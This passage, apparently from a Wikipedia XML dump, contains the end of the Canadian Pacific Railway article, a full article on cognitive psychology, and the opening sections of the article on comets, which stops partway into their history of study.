In 1952, the CPR became the first [[North American]] railway to introduce intermodal or &quot;piggyback&quot; freight service, where truck trailers are carried on [[flat car]]s.  In 1999, the CPR introduced a short-haul intermodal service between Montreal and [[Detroit]], called ''Expressway''.

==Passenger trains==
Until the end of [[World War II]], the train was the primary mode of long-distance transportation in [[Canada]].  Among the many types of people who rode CPR trains were new immigrants heading for the prairies, troops heading to war (especially during the two World Wars) and upper class tourists.  To encourage tourism, the CPR built several hotels.  It also custom-built many of its [[passenger car]]s at its Angus Shops so as to be able to meet the demands of the upper class.

After [[World War II]], passenger traffic declined as automobiles and aeroplanes became more common, but the CPR continued to innovate in an attempt to keep ridership up.  On [[November 9]], [[1953]], the CPR introduced [[Budd Rail Diesel Car]]s, called &quot;Dayliners&quot; by the CPR, on some of its branch lines.  On [[April 24]], [[1955]], the CPR introduced a new luxury transcontinental passenger train, ''The Canadian''.  The train provided service between [[Vancouver]] and [[Toronto]] or [[Montreal]] (east of [[Sudbury, Ontario|Sudbury]], the train was in two sections).  The train was pulled by [[diesel locomotives]], and used new, streamlined, stainless steel rolling stock.

Starting in the 1960s, however, the railway started to discontinue much of its passenger service, particularly on its branch lines.  For example, passenger service ended on its line through southern [[British Columbia]] and [[Crowsnest Pass]] in January 1964, and on its [[Quebec Central]] in April 1967, and the transcontinental train ''The Dominion'' was dropped in January 1966.  On [[October 29]], [[1978]], CP Rail transferred its passenger services to [[VIA Rail]], a new federal Crown corporation that was now responsible for intercity passenger services in Canada.

In addition to inter-city passenger services, the CPR also provided [[commuter rail]] services in Montreal.  CP Rail introduced Canada's first bi-level passenger cars here in 1970.  On [[October 1]], [[1982]], the [[Montreal Urban Community Transit Commission]] (MUCTC) assumed responsibility for the commuter services previously provided by CP Rail.

==Special trains==
===Silk trains===
Between the 1890s and the 1940s, the CPR transported raw [[silk]] cocoons from [[Vancouver]], where they had been shipped to from the [[Orient]], to silk mills in [[New York]] and [[New Jersey]].  A silk train could carry several million dollars worth of silk, so they had their own armed guards.  To avoid train robberies and so minimise insurance costs, they travelled quickly and stopped only to change locomotives and crews, which was often done in under five minutes.  The silk trains had superior rights over all other trains; even passenger trains would be put in sidings to make the silk trains' trip faster.  At the end of [[World War II]], the invention of [[nylon]] made silk less valuable so the silk trains died out.

===Funeral trains===
[[Image:Johnamacdonaldfuneraltrain.jpg|thumb|Funeral train of Prime Minister Sir John A. Macdonald]]
Funeral trains would carry the remains of important people, such as prime ministers.  As the train would pass, mourners would be at certain spots to show respect.  Two of the CPR's funeral trains are particularly well-known.  On [[June 10]], [[1891]], the funeral train of [[Prime Minister]] [[Sir John A. Macdonald]] ran from Ottawa to [[Kingston, Ontario]].  The train consisted of five heavily draped passenger cars and was pulled by [[4-4-0]] No. 283.  On [[September 14]], [[1915]], the funeral train of former CPR president [[Sir William Cornelius Van Horne]] ran from Montreal to [[Joliet, Illinois]], pulled by [[4-6-2]] No. 2213.

[[Image:Royaltrain-hopebc.jpg|thumb|125px|left|King George VI and Queen Elizabeth at [[Hope, British Columbia]]]]

===Royal trains===
The CPR ran a number of trains that transported members of the royal family when they visited Canada.  These trains transported royalty through Canada's beautiful scenery, forests, small towns and enabled people to see and greet them.  Their trains were elegantly decorated; some had amenities such as a post office and barber shop.  The CPR's most notable royal train was also the last one it would run, in 1939.

In 1939 the CPR had the honour of giving [[George VI of the United Kingdom|King George VI]] and [[Elizabeth Bowes-Lyon|Queen Elizabeth]] a rail tour of Canada, from Quebec City to Vancouver. This was the first visit to Canada by a reigning Monarch. The steam locomotive used to pull the train was numbered 2850, a Hudson ([[4-6-4]]) built by [[Montreal Locomotive Works]].  Specially painted in silver and blue, the locomotive ran 3,224 miles (5189 km) across Canada, through 25 changes of crew, without engine failure.  The King, somewhat of a [[railbuff]], rode in the cab when possible.  After the tour, King George gave the CPR permission to use the term &quot;[[Royal Hudson]]&quot; for these locomotives and to display Royal Crowns on their running boards. This applied only to the semi-streamlined locomotives (2820-2864), not the &quot;standard&quot; Hudsons (2800-2819).

===School cars===
Between 1926 and the early 1960s the CPR ran a school car to reach people who lived in Northern Ontario, far from [[school]]s.  A teacher would travel in a specially designed car to remote areas and would stay to teach in one area for two to three days, then leave for another area. Each car had a blackboard and a few sets of chairs and desks. They also contained miniature libraries. These school cars were useful in spreading education and literacy.

===Holiday Train===
Starting in 1999, the CPR ran a Holiday Train along its main line during the months of November and December.  The train celebrates the Christmas season and collects donations for community [[food bank]]s.  The holiday train also provides publicity for the CPR and a few of its customers.

Since its launch in 1999, the Holiday Train program has raised more than $2.3 million (CDN) and 506 tons of food for North American food banks. All donations collected in a community remain in that community for distribution.

===Royal Canadian Pacific===
On [[June 7]], [[2000]], the CPR inaugurated the Royal Canadian Pacific, a luxury excursion service that operates between the months of June and September.  It operates along a 1,050 km (650 mile) route from Calgary, through the [[Columbia River]] Valley and Crowsnest Pass, and returning back to Calgary.  The trip takes six days and five nights.  The train consists of up to eight luxury passenger cars built between 1916 and 1931 and is powered by first-generation diesel locomotives.

===Steam Train===
In 1998, the CPR repatriated one of its former passenger steam locomotives that had been on static display in the United States following its sale in January 1964, long after the close of the steam era. CPR Hudson 2816 was redesignated &quot;Empress 2816&quot; following a 30-month restoration that cost in excess of one million dollars.  It was subsequently returned to service to promote public relations. It has operated across much of the CPR system, including lines in the United States. It has been used for various charitable purposes, the most significant of  which has been to raise awareness of the need to provide children with a nourishing breakfast to aid their learning in school. One hundred percent of the money raised goes to the nation-wide charity [[Breakfast For Learning]] — the CPR bears all of the expenses associated with the operation of the train.

==Locomotives==
===Steam locomotives===
In the CPR's early years, it made extensive use of American [[4-4-0]] [[steam locomotive]]s.  Use was also made of [[4-6-0]] and [[2-8-0]] locomotives, particularly in the mountains.

Starting in the 20th century, the CPR used a large number of [[4-6-2]] Pacific locomotives and [[4-6-4]] Hudson locomotives, which were used both in both freight and passenger service.  The CPR bought Pacifics between 1906 and 1948.  The CPR's best-known Hudsons were the class H1 Royal Hudson, semi-[[streamline]]d locomotives that were given their name because one of their class hauled the Royal Train carrying King George VI and Queen Elizabeth in 1939 across Canada without change or failure.  That locomotive, No. 2850, is preserved in the Exporail exhibit hall of the Canadian Railway Museum in St. Constant (Delson) Quebec. One of the class, No. 2860, was restored by the [[British Columbia]] government and used in excursion service on the [[British Columbia Railway]] between 1974 and 1999.
[[Image:CP Selkirk 5915.jpg|thumb|250px|right|CPR Selkirk locomotive No. 5915]]
In 1929, the CPR received its first [[2-10-4]] [[Selkirk locomotive]]s, the largest steam locomotives to run in Canada.  Named after the Selkirk Mountains where they served, these locomotives were well suited for steep grades.  They were regularly used in passenger and freight service.  The CPR would own 37 of these locomotives, including number 8000, an experimental high pressure engine.  The last steam locomotives that the CPR received, in 1949, were Selkirks, numbered 5930-5935.

===Diesel locomotives===
In 1937, the CPR acquired its first [[diesel-electric locomotive]], a custom built one-of-a-kind switcher numbered 7000. This locomotive was not successful and was not repeated. Production model diesels were imported from [[American Locomotive Company]] (Alco) starting with five model S-2 yard switchers in 1943 and followed by further orders. In 1949 Alco FA1 road locomotives (8 A and 4 B units)and 5 RS-2 road switchers were all delivered. In 1948 [[Montreal Locomotive Works]] began production of Alco designs.   In 1949, the CPR acquired 13 [[Baldwin Locomotive Works|Baldwin]] locomotives for its isolated Esquimalt and Nanaimo Railway, and Vancouver Island was quickly dieselised.  Following that successful experiment, the CPR started to dieselise its main network.  Dieselisation was completed eleven years later, with its last steam locomotive running on [[November 6]], [[1960]].  The CPR's first-generation locomotives were mostly made by [[General Motors Diesel]] and [[Montreal Locomotive Works]], with some made by the [[Canadian Locomotive Company]].

CP was the first railway in North America to pioneer [[alternating current|AC]] traction locomotives, in 1984. In 1995 CP turned to General Electric [[GE Transportation Systems]] for the first production AC traction locomotives in Canada, and now has the highest percentage of AC locomotives in service of all North American Class I railways.  [[As of 2004]], 507 of the CPR's 1,622 locomotives are AC.

==The Canadian Pacific Railway in Canadian culture==
The construction of this railway is celebrated in the popular song by [[Gordon Lightfoot]], ''[[Canadian Railroad Trilogy]]''. The story of the railway's construction was most famously told in popular history books by [[Pierre Berton]], ''The National Dream'' and ''The Last Spike'', which were adapted into a popular [[Canadian Broadcasting Corporation|CBC]] [[television series]] called ''The National Dream''. The railway is also the subject of a song by [[Stompin' Tom Connors]], &quot;The Flying CPR&quot;.

The formation of the Canadian Pacific Railway was voted as the second most important event in forming Canada as a country by a survey of Canadians in 2004.

[[The Arrogant Worms]], in their song &quot;[[The Last Saskatchewan Pirate]]&quot;, referenced that before the narrator became a pirate, he was a farmer with land along the CP Line.

==Facilities==
* [[CPR Agincourt Marshalling Yard]] in [[Toronto]]

==References==
* {{cite book | author = Berton, Pierre | title = The National Dream: The Great Railway, 1871-1881 | publisher = McClelland and Stewart, Toronto | year = 1970 | id = ISBN 0771013264 }}
* {{cite book | author = Berton, Pierre | title = The Last Spike | publisher = McClelland and Stewart, Toronto | year = 1971 | id = ISBN 0771013272 }}
* Canadian Pacific Railway ([[October 31]] [[2005]]), ''[http://www8.cpr.ca/cms/English/Media/News/General/2005/Senior+Executive+Appointments.htm CPR Announces Senior Executive Appointment ]''.  Retrieved [[November 30]] [[2005]].
* {{cite book | author = Cruise, David and Alison Griffiths | title = Lords of the Line | publisher = Viking, Markham, Ontario | year = 1988 | id = ISBN 0670814377 }}
* {{cite book | author = Innis, Harold A. | title = A History of the Canadian Pacific Railway | publisher = University of Toronto Press, Toronto | year = 1923, 1971 | id = ISBN 0802017045 }}
* {{cite book | author = Leggett, Robert F. | title = Railways of Canada | publisher = Douglas &amp; McIntyre, Vancouver, British Columbia | year = 1987 | id = ISBN 0888945817 }}
* {{cite book | author = Sandford, Barrie | title = The Pictorial History of Railroading in British Columbia | publisher = Whitecap Books, Vancouver, British Columbia | year = 1981 | id = ISBN 0920620272 }}
* The Premier's Funeral (June 11, 1891).  ''The Woodstock Evening Sentinel Review'', p. 1.
* [http://www8.cpr.ca/cms/NR/rdonlyres/e7mxbkfsikoun6lsnedyiqvng4t4sz6zxzselashac2uq2gjhg3ntyiwhxk3neidco5yy6s2y4gs6kgosjnnwtj5vvd/2004%2bCorporate%2bProfile%2band%2bFact%2bBook.pdf Canadian Pacific Railway 2004 Corporate Profile and Fact Book].  Retrieved February 2, 2005.
* http://www.collectionscanada.ca/trains/kids/h32-4000-e.html.  Retrieved March 8, 2005.

==See also==
*[[List of presidents of the Canadian Pacific Railway Limited]]
*[[Canadian culture]]
*[[History of Chinese immigration to Canada]]
*[[List of subsidiary railways of the Canadian Pacific Railway]]
*[[Canadian Pacific Airlines]]
*[[Canadian Pacific hotels]]

==External links==
*[http://www.cpr.ca Canadian Pacific Railway Official Website]
*[http://www.trainweb.org/oldtimetrains Canadian Railway History and Stories]
*[http://www8.cpr.ca/cms/English/General+Public/Heritage/A+Brief+History.htm Official CPR brief history]
*[http://www8.cpr.ca/cms/NR/rdonlyres/e7mxbkfsikoun6lsnedyiqvng4t4sz6zxzselashac2uq2gjhg3ntyiwhxk3neidco5yy6s2y4gs6kgosjnnwtj5vvd/2004%2bCorporate%2bProfile%2band%2bFact%2bBook.pdf Canadian Pacific Railway 2004 Corporate Profile and Fact Book]
*[http://www.cprstore.com/ Station 29 - CPR Store]
*[http://www.railserve.com/railnews/canadianpacific_news.html Canadian Pacific Railway News]
*[http://www.scenic-railroads.com www.scenic-railroads.com] A gallery of CPR and other rail images.
*[http://www.trainweb.org/galt-stn/stlh.htm  The unofficial St. Lawrence and Hudson Railway website] 
*[http://www.bridge-line.org/blhs/blhsmain.html The Bridgeline Historical Association (with interest in the Delaware and Hudson Railway and the St. Lawrence and Hudson Railway)]
*[http://www.mccord-museum.qc.ca/en/keys/webtours/VQ_P2_18_EN.html CPR, from Sea to Sea: The Scottish Connection] — Historical essay, illustrated with photographs from the CPR Archives and the McCord Museum's Notman Photographic Archives
*[http://www.mountainrailway.com  Canadian Pacific Railway in Western Canada as well as all-time CPR Diesel Locomotive Roster

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      <contributor>
        <username>Bryan Derksen</username>
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      <text xml:space="preserve">#REDIRECT [[genetic code]]</text>
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  <page>
    <title>Cognitive psychology</title>
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      <contributor>
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      <comment>/* See also */</comment>
      <text xml:space="preserve">{{psychology}}

'''Cognitive psychology''' is the [[psychology|psychological]] [[science]] that studies [[cognition]], the [[mental process]]es that underlie [[behavior]], including [[thinking]], [[reasoning]], [[decision making]],  and to some extent [[motivation]] and [[emotion]]. Cognitive psychology covers a broad range of research domains, examining questions about the workings of [[memory]], [[attention]], [[perception]], [[knowledge representation]], [[reasoning]], [[creativity]] and [[problem solving]].  The term '''Cognitive psychology''' came into use with the publication of the book ''Cognitive Psychology'' by [[Ulric Neisser]] in [[1967]], wherein Neisser provides a broad definition of cognitive psychology, emphasising that it is a ''point of view'' which postulates the mind as having a certain conceptual structure. Neisser's point of view endows the discipline a scope which expands beyond high-level concepts such as &quot;reasoning&quot;, often espoused in other works in as a definition of cognitive psychology.  Neisser's definition of ''cognition'' illustrates this well:

&lt;blockquote&gt;...the term &quot;cognition&quot; refers to all processes by which the sensory input is transformed, reduced, elaborated, stored, recovered, and used.  It is concerned with these processes even when they operate in the absence of relevant stimulation, as in images and hallucinations... Given such a sweeping definition, it is apparent that cognition is involved in everything a human being might possibly do; that every psychological phenomenon is a cognitive phenomenon.  But although cognitive psychology is concerned with all human activity rather than some fraction of it, the concern is from a particular point of view.  Other viewpoints are equally legitimate and necessary.  Dynamic psychology, which begins with motives rather than with sensory input, is a case in point.  Instead of asking how a man's actions and experiences result from what he saw, remembered, or believed, the dynamic psychologist asks how they follow from the subject's goals, needs, or instincts.
&lt;/blockquote&gt;

Cognitive psychology is radically different from previous psychological approaches in two key ways.
* It accepts the use of the [[scientific method]], and generally rejects [[introspection]] as a valid method of investigation, unlike [[phenomenology|phenomenological]] methods such as [[Freud|Freudian]] psychology.
* It explicitly acknowledges the existence of internal mental states (such as [[belief]]s, [[desire]]s and [[motivation]]s) unlike [[behaviourism|behaviourist]] psychology.

The school of thought arising from this approach is known as [[cognitivism (psychology)|cognitivism]].

Cognitive psychology is one of the more recent additions to psychological research, having only developed as a separate area within the discipline since the late [[1950s]] and early [[1960s]] (though there are examples of cognitive thinking from earlier researchers).  The cognitive approach was brought to prominence by [[Donald Broadbent]]'s book ''Perception and Communication'' in [[1958]].  Since that time, the dominant [[paradigm]] in the area has been the [[information processing]] model of cognition that Broadbent put forward.  This is a way of thinking and reasoning about mental processes, envisaging them like software running on the computer that is the brain. Theories commonly refer to forms of input, representation, computation or processing, and outputs.

This way of conceiving mental processes has pervaded psychology more generally over the past few decades, and it is not uncommon to find cognitive theories within [[social psychology]], [[personality]], [[abnormal psychology]], [[developmental psychology]]; the application of cognitive theories in [[comparative psychology]] has led to many recent studies in [[animal cognition]].

The information processing approach to cognitive functioning is currently being questioned by new approaches in psychology, such as [[dynamical systems]], and the [[embodiment]] perspective. 

Because of the use of computational metaphors and terminology, cognitive psychology was able to benefit greatly from the flourishing of research in [[artificial intelligence]] and other related areas in the [[1960s]] and [[1970s]]. In fact, it developed as one of the significant aspects of the inter-disciplinary subject of [[cognitive science]], which attempts to integrate a range of approaches in research on the mind and mental processes.

== Major research areas in cognitive psychology ==
'''[[Perception]]'''
* [[Attention]] and Filter theories (the ability to focus mental effort on specific stimuli while excluding other stimuli from consideration)
* [[Pattern recognition]] (the ability to correctly interpret ambiguous sensory information)
* Object recognition

'''[[Categorization]]'''
* Category induction and acquisition
* Categorical judgement and classification
* Category representation and structure

'''[[Memory]]'''
* [[Short-term memory]] and [[long-term memory]]
* [[Autobiographical memory]]
* [[Episodic memory]]
* [[Flashbulb memory]]
* [[Semantic memory]]
* [[Constructive memory]]
* [[False memories]]
* Encoding, storing and retrieving memory-based information

'''[[Knowledge representation]]'''
* [[Mental_image|Mental imagery]]
* [[Propositional encoding]]

* [[Imagery versus proposition debate]]
* [[dual-coding theory|Dual-coding theories]]
* [[Mental model]]s

'''[[Language]]'''
* [[Grammar]] and [[linguistics]]
* [[Phonetics]] and [[phonology]]
* [[Language acquisition]]

'''[[Thinking]]'''
* [[Logic]], formal and natural [[reasoning]]
* Concept formation
* [[Problem solving]]
* Judgment and decision making

== Famous and/or influential cognitive psychologists ==
* [[John R. Anderson]]
* [[Alan Baddeley]]
* [[Frederic Bartlett]]
* [[Nathaniel Branden]]
* [[Donald Broadbent]]
* [[Jerome Bruner]]
* [[Hermann Ebbinghaus]]
* [[William Estes]]
* [[Daniel Kahneman]]
* [[George A. Miller]]
* [[Ulrich Neisser]]
* [[Allen Newell]]
* [[Jean Piaget]]
* [[Michael Posner]]
* [[David Rumelhart]]
* [[Daniel Schacter]]
* [[Roger Shepard]]
* [[Herbert Simon]]
* [[Endel Tulving]]
* [[Anne Treisman]]
* [[Amos Tversky]]

== See also ==

* [[Animal cognition]]
* [[Cognition]]
* [[Cognitive bias]]
* [[Cognitive neuropsychology]]
* [[Cognitive neuroscience]]
* [[Cognitive poetics]]
* [[Cognitive robotics]]
* [[Cognitive science]]
* [[Cognitivism]]
* [[Connectionism]]
* [[Discursive psychology]]
* [[Evolutionary psychology]]
* [[Neurocognitive]]
* [[Neuropsychology]]
* [[Situated cognition]]
* [[Political psychology]]
* [[Psychological adaptation]]

=== Related lists ===

* [[List of publications in psychology#Cognitive psychology | Important publications in cognitive psychology ]]

== External links ==
* [http://psychclassics.yorku.ca/topic.htm#cognition Famous papers in the history of cognition]

[[Category:Cognition]]
[[Category:Cognitive science|Psychology]]

[[ca:Psicologia cognitiva]]
[[da:Kognitionspsykologi]]
[[de:Kognitionspsychologie]]
[[es:Psicología cognitiva]]
[[fr:Psychologie cognitive]]
[[hr:Kognitivna psihologija]]
[[it:Psicologia cognitiva]]
[[he:פסיכולוגיה קוגניטיבית]]
[[nl:Cognitieve psychologie]]
[[ja:認知心理学]]
[[pl:Psychologia poznawcza]]
[[pt:Psicologia cognitiva]]
[[ru:Когнитивная психология]]
[[sk:Kognitívna psychológia]]
[[sl:Kognitivna psihologija]]
[[fi:Kognitiivinen psykologia]]
[[sv:Kognitiv psykologi]]
[[uk:Когнітивна психологія]]
[[zh:認知心理學]]</text>
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  <page>
    <title>Comet</title>
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        <username>Bhadani</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.147.13.9|69.147.13.9]] ([[User talk:69.147.13.9|talk]]) to last version by Misza13</comment>
      <text xml:space="preserve">[[Image:Comet-Hale-Bopp-29-03-1997 hires adj.jpg|thumb|250px|Comet Hale-Bopp]]
{{otheruses}}
A '''comet''' is a small body in the solar system that orbits the Sun and (at least occasionally) exhibits a [[coma (cometary)|coma]] (or atmosphere) and/or a tail — both due primarily to the effects of solar radiation upon the comet's [[Comet nucleus|nucleus]], which itself is a minor planet composed of rock, dust, and ices. Due to their origins in the outer solar system and their propensity to be highly affected (or ''perturbed'') by relatively close approaches to the major planets, comets' orbits are constantly changing.  Some are moved into sungrazing orbits that destroy the comets when they near the Sun, while others are thrown out of the solar system forever.

Comets are believed to originate in a cloud (the [[Oort cloud]]) at large distances from the Sun consisting of debris left over from the [[condensation]] of the [[solar nebula]]; the outer edges of such nebulae are [[temperature|cool]] enough that [[water]] exists in a [[solid]] (rather than [[gas]]eous) [[phase (matter)|state]]. [[Asteroid]]s originate via a different process, but very old comets which have lost all their [[volatile]] materials may come to resemble asteroids.

The word ''comet'' came to the [[English language]] through [[Latin]] ''cometes.'' From the [[Greek Language|Greek]] word ''komē'', meaning &quot;hair of the head,&quot; [[Aristotle]] first used the derivation ''komētēs'' to depict comets as &quot;stars with hair.&quot; 

==Physical characteristics==
Long-period comets are believed to originate in a distant cloud known as the [[Oort cloud]] (after the astronomer [[Jan Hendrik Oort]] who hypothesised its existence). They are sometimes perturbed from their distant orbits by gravitational interactions, falling into extremely elliptical orbits that can bring them very close to the [[Sun]]. One theory says that as a comet approaches the [[inner solar system]], [[solar radiation]] causes part of its outer layers, composed of ice and other materials, to melt and evaporate, but this has not been proven.
The streams of [[Cosmic dust|dust]] and gas this releases form a very large, extremely tenuous atmosphere around the comet called the ''[[coma (cometary)|coma]]'', and the force exerted on the [[coma (cometary)|coma]] by the Sun's [[radiation pressure]] and [[solar wind]] cause an enormous ''tail'' to form, which points away from the sun.  The dust and gas each form their own distinct tail, each pointed in slightly different directions. The tail made of dust is left behind in the comet's orbit in such a manner that it often forms a curved tail. At the same time, the ion tail, made of gases, always pointing directly away from the Sun, as this gas is more strongly affected by the solar wind than dust is, following magnetic field lines rather than an orbital trajectory.  While the solid body of comets (called the ''[[Comet nucleus|nucleus]]'') is generally less than 50km across, the coma may be larger than the Sun, and the ion tails have been observed to extend over 150 million km (1 [[Astronomical unit]]) or more.

Both [[coma (cometary)|coma]] and tail are illuminated by the Sun, and may become visible from the [[Earth]] when a comet passes through the inner solar system, the dust reflecting sunlight directly and the gases glowing due to [[ion|ionization]]. Most comets are too faint to be visible without the aid of a [[telescope]], but a few each decade become bright enough to be visible with the naked eye. Before the invention of the telescope, comets seemed to appear out of nowhere in the sky and gradually vanish out of sight. They were usually considered bad omens of deaths of kings or noble men, or coming catastrophes. From ancient sources, such as Chinese oracle bones, it is known that their appearance have been noticed by humans for millennia.  One very famous old recording of a comet is the appearance of Halley's Comet on the [[Bayeux Tapestry]], which records the [[Norman conquest]] of [[England]] in 1066.{{hnote|Reading Museum, scene 1}}

Surprisingly, cometary nuclei are among the [[black]]est objects known to exist in the solar system. The [[Giotto mission|Giotto]] probe found that [[Comet Halley]]'s nucleus reflects approximately 4% of the light that falls on it, and [[Deep Space 1]] discovered that [[Comet Borrelly]]'s surface reflects only 2.4% to 3% of the light that falls on it; by comparison, [[asphalt]] reflects 7% of the light that falls on it. It is thought that complex [[organic compound]]s are the dark surface material. Solar heating drives off volatile compounds leaving behind heavy long-chain organics that tend to be very dark, like [[tar]] or crude [[Petroleum|oil]]. The very darkness of cometary surfaces allows them to absorb the heat necessary to drive their outgassing.

In 1996, comets were found to emit [[X-rays]] [http://heasarc.gsfc.nasa.gov/docs/rosat/hyakutake.html]. These X-rays surprised researchers, because their emission by comets had not previously been predicted. The X-rays are thought to be generated by the interaction between comets and the solar wind: when highly charged [[ions]] fly through a cometary atmosphere, they collide with cometary atoms and molecules. In these collisions, the ions will capture one or more electrons leading to emission of X-rays and far ultraviolet photons [http://www.kvi.nl/~bodewits].

==Orbital characteristics==
[[Image:Comet Kohoutek orbit p391.jpg|thumb|376px|right|Orbits of [[Comet Kohoutek]] and [[Earth]], illustrating the high [[Eccentricity (orbit)|eccentricity]] of the orbit and more rapid motion when closer to the [[Sun]].]]
[[Image:Comets by aphelion.png|thumb|200px|right|Histogram of the aphelia of the 2005 comets, showing the giant planet comet families. The abscissa is the natural logarithm of the aphelion expressed in AUs.]] Comets are classified according to their orbital periods. ''Short period comets'' have orbits of less than 200 years, while ''Long period comets'' have longer orbits but remain gravitationally bound to the Sun. ''Single-apparition comets'' have [[parabolic]] or [[hyperbolic]] orbits which will cause them to permanently exit the solar system after one pass by the Sun.

Modern observations have revealed a few genuinely hyperbolic orbits, but no more than could be accounted for by perturbations from Jupiter. If comets pervaded interstellar space, they would be moving with velocities of the same order as the relative velocities of stars near the Sun (a few tens of kilometres per second). If such objects entered the solar system, they would have positive total energies, and would be observed to have genuinely hyperbolic orbits. A rough calculation shows that there might be 4 hyperbolic comets per century, within Jupiter's orbit, give or take one and perhaps two orders of magnitude [http://www.astro.lsa.umich.edu/users/cowley/lecture34/ †].

On the other extreme, the short period [[Comet Encke]] has an orbit which never places it farther from the Sun than [[Jupiter (planet)|Jupiter]]. Short-period comets are thought to originate in the [[Kuiper belt]], whereas the source of long-period comets is thought to be the [[Oort cloud]]. A variety of mechanisms have been proposed to explain why comets get perturbed into highly elliptical orbits, including close approaches to other [[star]]s as the Sun follows its orbit through the [[Milky Way]] [[Galaxy]]; the Sun's hypothetical companion star [[Nemesis (star)|Nemesis]]; or an unknown [[Planet X]].

Because of their low masses, and their elliptical orbits which frequently take them close to the giant planets, cometary orbits are often perturbed. Short period comets display a strong tendency for their aphelia to coincide with a [[giant planet]]'s orbital radius, with the Jupiter family of comets being the largest, as the [[histogram]] shows. It is clear that comets coming in from the Oort cloud often have their orbits strongly influenced by the gravity of giant planets as a result of a close encounter. Jupiter is the source of the greatest perturbations, being more than twice as massive as all the other planets combined, in addition to being the swiftest of the giant planets.

Also because of gravitational interactions, a number of periodic comets discovered in earlier decades or previous centuries are now lost, since their orbits were never known well enough to know where to look for their future appearances. However, occasionally a &quot;new&quot; comet will be discovered and upon calculation of its orbit it turns out to be an old &quot;lost&quot; comet. An example is Comet [[11P/Tempel-Swift-LINEAR]], which was discovered in 1869 but became unobservable after 1908 due to perturbations by Jupiter, and was not found again until accidentally rediscovered by [[LINEAR]] in 2001.{{hnote|Kronk, '11P/Tempel-Swift-LINEAR'}}

==Comet nomenclature==
The names given to comets have followed several different conventions over the past two centuries. Before any systematic naming convention was adopted, comets were named in a variety of ways. Prior to the early 20th century, most comets were simply referred to by the year in which they appeared, sometimes with additional adjectives for particularly bright comets; thus, the &quot;[[C/1680 V1|Great Comet of 1680]]&quot; (Kirch's Comet), the &quot;[[C/1882 R1|Great September Comet of 1882]],&quot; and the &quot;[[Great Daylight Comet of 1910|Daylight Comet of 1910]]&quot; (&quot;Great January Comet of 1910&quot;). After [[Edmund Halley]] demonstrated that the comets of 1531, 1607, and 1682 were the same body and successfully predicted its return in 1759, that comet became known as [[Comet Halley]]. Similarly, the second and third known periodic comets, [[Comet Encke]] {{hnote|Kronk, '2P/Encke'}} and [[Comet Biela]] {{hnote|Kronk, '3D/Biela'}}, were named after the astronomers who calculated their orbits rather than their original discoverers. Later, periodic comets were usually named after their discoverers, but comets that had appeared only once continued to be referred by the year of their apparition.

In the early 20th century, the convention of naming comets after their discoverers became common, and this remains so today. A comet is named after up to three independent discoverers. In recent years, many comets have been discovered by instruments operated by large teams of astronomers, and in this case, comets may be named for the instrument. For example, [[C/1983 H1|Comet IRAS-Araki-Alcock]] was discovered independently by the [[IRAS]] satellite and amateur astronomers [[Genichi Araki]] and [[George Alcock]]. In the past, when multiple comets were discovered by the same individual, group of individuals, or team, the comets' names were distinguished by adding a numeral to the discoverers' names; thus Comets [[P/1990 V1|Shoemaker-Levy 1]]–[[D/1993 F2|9]]. Today, the large numbers of comets discovered by some instruments (in August 2005, [[Solar and Heliospheric Observatory|SOHO]] discovered its 1000th comet{{hnote|SOHO (2005)}}) has rendered this system impractical, and no attempt is made to ensure that each comet has a unique name. Instead, the comets' systematic designations are used to avoid confusion.

Until 1994, comets were first given a [[provisional designation]] consisting of the year of their discovery followed by a lowercase letter indicating its order of discovery in that year (for example, [[C/1969 Y1|Comet Bennett 1969i]] was the 9th comet discovered in 1969). Once the comet had been observed through perihelion and its orbit had been established, the comet was given a permanent designation of the year of its [[perihelion]], followed by a [[Roman numeral]] indicating its order of perihelion passage in that year, so that Comet Bennett 1969i became [[C/1969 Y1|Comet Bennett 1970 II]] (it was the second comet to pass perihelion in 1970) {{hnote|Arnett (2000)}}.

Increasing numbers of comet discoveries made this procedure awkward, and in 1994 the [[International Astronomical Union]] approved a new naming system. Comets are now designated by the year of their discovery followed by a letter indicating the half-month of the discovery and a number indicating the order of discovery (a system similar to that already used for [[asteroid]]s), so that the fourth comet discovered in the second half of February 2006 would be designated 2006 D4. Prefixes are also added to indicate the nature of the comet, with P/ indicating a periodic comet, C/ indicating a non-periodic comet, X/ indicating a comet for which no reliable orbit could be calculated, D/ indicating a comet which has broken up or been lost, and A/ indicating an object that was mistakenly identified as a comet, but is actually a [[minor planet]]. After their second observed perihelion passage, periodic comets are also assigned a number indicating the order of their discovery.{{hnote|CSBN (1994)}} So Halley's Comet, the first comet to be identified as periodic, has the systematic designation [[1P/1682 Q1]]. [[Comet Hale-Bopp]]'s designation is C/1995 O1.

==History of comet study==
===Early observations and thought===
Historically, comets were thought to be unlucky, or even interpreted as attacks by heavenly beings against terrestrial inhabitants. Some authorities interpret references to &quot;falling stars&quot; in [[Gilgamesh]], [[Book of Revelation|Revelation]] and the Book of [[Enoch]] as references to comets, or possibly [[bolide]]s.

In the first book of his ''[[Meteorology]]'', [[Aristotle]] propounded the view of comets that would hold sway in Western thought for nearly two thousand years.  He rejected the ideas of several earlier philosophers that comets were [[planet]]s, or at least a phenomenon related to the planets, on the grounds that while the planets confined their motion to the circle of the [[Zodiac]], comets could appear in any part of the sky. {{hnote|Aristotle, l. 1. c. 6.}} Instead, he described comets as a phenomenon of the upper [[Earth's atmosphere|atmosphere]], where hot, dry exhalations gathered and occasionally burst into flame.  Aristotle held this mechanism responsible for not only comets, but also [[meteor]]s, the [[aurora borealis]], and even the [[Milky Way]].{{hnote|Aristotle, l. 1. c. 7.}}

A few later classical philosophers did dispute this view of comets.  [[Seneca the Younger]], in his ''[[Natural Questions]]'', observed that comets moved regularly through the sky and were undisturbed by the [[wind]], behavior more typical of celestial than atmospheric phenomena.  While he conceded that the other planets do not appear outside the Zodiac, he saw no reason that a planet-like object could not move through any part of the sky, humanity's knowledge of celestial things being very limited.{{hnote|Sagan, pp. 23–24}} However, the Aristotelean viewpoint proved more influential, and it was not until the 16th century that it was demonstrated that comets must exist outside the earth's atmosphere.  

In 1577, a bright comet was visible for several months.  The [[Denmark|Danish]] astronomer [[Tycho Brahe]] used measurements of the comet's position taken by himself and other, geographically separated observers to determine that the comet had no measureable [[parallax]].  Within the precision of the measurements, this implied the comet must be at least four times more distant from the earth than the moon.{{hnote|ESO, Part I}}

===Orbital studies===
[[Image:Newton_Comet1680.jpg|right|thumbnail|300px|The orbit of the comet of 1680, fit to a [[parabola]], as shown in [[Isaac Newton]]'s ''[[Philosophiae Naturalis Principia Mathematica|Principia]]''.]]

